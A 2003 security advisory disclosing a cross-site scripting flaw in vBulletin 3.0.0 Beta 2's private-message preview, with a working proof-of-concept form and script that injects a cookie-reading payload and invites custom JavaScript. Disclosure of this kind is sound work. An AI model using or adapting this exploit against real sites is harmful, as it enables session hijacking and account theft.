Vbulletin XSS

------------------------------------------------------
VBulletin Private Message "Preview Message" XSS Vulnerability
14.05.2003
------------------------------------------------------
Any kind of XSS attacks possibility. Account-Session hijacking. 

------------------------------------------------------
About VBulletin;
------------------------------------------------------
PHP Based Popular Forum Application

Vendor & Demo;
www.vbulletin.com

------------------------------------------------------
Vulnerable;
------------------------------------------------------
vBulletin 3.0.0 Beta 2

------------------------------------------------------
Non Vulnerable;
------------------------------------------------------
vBulletin 2.2

------------------------------------------------------
Vendor Status;
------------------------------------------------------
Patched; This version of Vbulletin not published public yet but some of Vbulletin customers like www.sitepointforums.com (More than 23.000 members) using this.

------------------------------------------------------
Solution;
------------------------------------------------------
HTML Encoding like post thread preview page.

------------------------------------------------------
Exploit Code;
------------------------------------------------------
[html]
[body]
[form action="http://[victim]/forum/private.php" method="post"
name="vbform"]
[input type="hidden" name="do" value="insertpm" /]
[input type="hidden" name="pmid" value="" /]
[input type="hidden" name="forward" value="" /]
[input type="hidden" name="receipt" value="0" /]

[input type="text" class="bginput" name="title" value="" size="40"
tabindex="2" /]
[textarea name="message" rows="20" cols="70" wrap="virtual"
tabindex="3"][/textarea]
[input type="submit" class="button" name="sbutton" value="Post Message"
accesskey="s" tabindex="4" /]
[input type="submit" class="button" value="Preview Message" accesskey="p"
name="preview" onclick="this.form.dopreview = true; return
true;this.form.submit()" tabindex="5" ]

[input type="checkbox" name="savecopy" value="1" id="cb_savecopy"
checked="checked" /]
[input type="checkbox" name="signature" value="1" id="cb_signature" /]
[input type="checkbox" name="parseurl" value="1" id="cb_parseurl"
checked="checked" /]
[input type="checkbox" name="disablesmilies" value="1"
id="cb_disablesmilies" /]
[/form]
[script]
//Set Values and Submit
// You can write your own JS codes
var xss = "\"][script]alert(document.cookie)[\/script]";
document.vbform.title.value=xss;
document.vbform.preview.click();
[/script]
[/body]
[/html]

*Replace ([],<>)
**You may need login first